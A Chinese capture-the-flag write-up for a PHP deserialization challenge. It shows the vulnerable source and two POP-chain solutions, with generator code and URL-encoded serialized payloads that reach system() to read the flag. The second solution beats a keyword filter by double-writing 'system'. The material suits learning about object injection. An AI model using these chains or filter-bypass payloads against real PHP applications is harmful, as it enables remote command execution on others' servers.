常规的PHP反序列化漏洞+双写绕过waf 签到题
- show_source(__FILE__);
- error_reporting(0);
- class Hacker{
- private $exp;
- private $cmd;
-
- public function __toString()
- {
- call_user_func('system', "cat /flag");
- }
- }
-
- class A
- {
- public $hacker;
- public function __toString()
- {
- echo $this->hacker->name;
- return "";
- }
- }
- class C
- {
- public $finish;
- public function __get($value)
- {
- $this->finish->hacker();
- echo 'nonono';
- }
- }
- class E
- {
- public $hacker;
-
- public function __invoke($parms1)
- {
- echo $parms1;
- $this->hacker->welcome();
- }
- }
-
- class H
- {
- public $username="admin";
- public function __destruct()
- {
- $this->welcome();
-
- }
- public function welcome()
- {
- echo "welcome~ ".$this->username;
- }
- }
-
- class K
- {
- public $func;
- public function __call($method,$args)
- {
- call_user_func($this->func,'welcome');
- }
- }
-
- class R
- {
- private $method;
- private $args;
-
- public function welcome()
- {
- if ($this->key === true && $this->finish1->name) {
- if ($this->finish->finish) {
- call_user_func_array($this->method,$this->args);
- }
- }
- }
- }
-
- function nonono($a){
- $filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|system|eval|flag/i";
- return preg_replace($filter,'',$a);
- }
-
- $a = $_POST["pop"];
- if (isset($a)){
- unserialize(nonono($a));
- }
- ?>
入口肯定是H. __destruct()魔术方法进去,然后这里就涉及到下一步tostring()魔术方法的触发 ,但是这里涉及两个tostring()方法 然后这里就有个非预期解
POP链:H.destruct()->Hacker.tostring()
代码构造:
- class Hacker{
- private $exp;
- private $cmd;
- }
- class A{
- public $hacker;
- }
- class C{
- public $finish;
- }
- class E{
- public $hacker;
- }
-
- class H{
- public $username="admin";
- }
-
- class K{
- public $func;
- }
- class R{
- private $method;
- private $args;
- }
- $a = new H();
- $a->username = new Hacker();
- echo urlencode(serialize($a));
payload:
O%3A1%3A%22H%22%3A1%3A%7Bs%3A8%3A%22username%22%3BO%3A6%3A%22Hacker%22%3A2%3A%7Bs%3A11%3A%22%00Hacker%00exp%22%3BN%3Bs%3A11%3A%22%00Hacker%00cmd%22%3BN%3B%7D%7D
可以得到flag
我们触发A.tostring()的魔术方法, 找到到出口call_user_func_array(),然后一步一步触发下面的魔术方法
POP链:
H.destruct()->A.tostring()->C.get()->K.call()->E.invoke()->R.welcome()
代码构造:
- class A{
- public $hacker;
- }
- class C{
- public $finish;
- }
- class E{
- public $hacker;
- }
-
- class H{
- public $username="admin";
- }
- class K{
- public $func;
- }
- class R{
- private $method; //私有变量需要在里面进行赋值 或者进行一个构造函数来进行反序列化,因为私有变量只有私有的类成员则只能被其定义所在的类访问
- private $args;
- public function __construct(){
- $this->key = true; //ture 设为真才能进入if语句
- @$this->finish1->name = true; //ture 设为真才能进入if语句;@。当将其放置在一个 PHP 表达式之前,该表达式可能产生的任何错误信息都被忽略掉。
- @$this->finish->finish = true;//ture 设为真才能进入if语句
- $this->method = "system"; //这个会被ban
- $this->args = array("cat /f*"); // 下面这个就是构造命令执行 只有设为数组是因为这里要知道call_user_func()函数如果传入的参数是array类型的话,会将数组的成员当做类名和方法
- }
- }
-
- $h = new H();
- $h->username = new A();
- $h->username->hacker = new C();
- $h->username->hacker->finish = new K();
- $h->username->hacker->finish->func = new E();
- $h->username->hacker->finish->func->hacker = new R();
- $s = serialize($h);
- $s = preg_replace("/system/", "syssystemtem", $s); //对system进行双写绕过
-
- echo urlencode($s);

payload;
O%3A1%3A%22H%22%3A1%3A%7Bs%3A8%3A%22username%22%3BO%3A1%3A%22A%22%3A1%3A%7Bs%3A6%3A%22hacker%22%3BO%3A1%3A%22C%22%3A1%3A%7Bs%3A6%3A%22finish%22%3BO%3A1%3A%22K%22%3A1%3A%7Bs%3A4%3A%22func%22%3BO%3A1%3A%22E%22%3A1%3A%7Bs%3A6%3A%22hacker%22%3BO%3A1%3A%22R%22%3A5%3A%7Bs%3A9%3A%22%00R%00method%22%3Bs%3A6%3A%22syssystemtem%22%3Bs%3A7%3A%22%00R%00args%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A7%3A%22cat+%2Ff%2A%22%3B%7Ds%3A3%3A%22key%22%3Bb%3A1%3Bs%3A7%3A%22finish1%22%3BO%3A8%3A%22stdClass%22%3A1%3A%7Bs%3A4%3A%22name%22%3Bb%3A1%3B%7Ds%3A6%3A%22finish%22%3BO%3A8%3A%22stdClass%22%3A1%3A%7Bs%3A6%3A%22finish%22%3Bb%3A1%3B%7D%7D%7D%7D%7D%7D%7D
得到flag
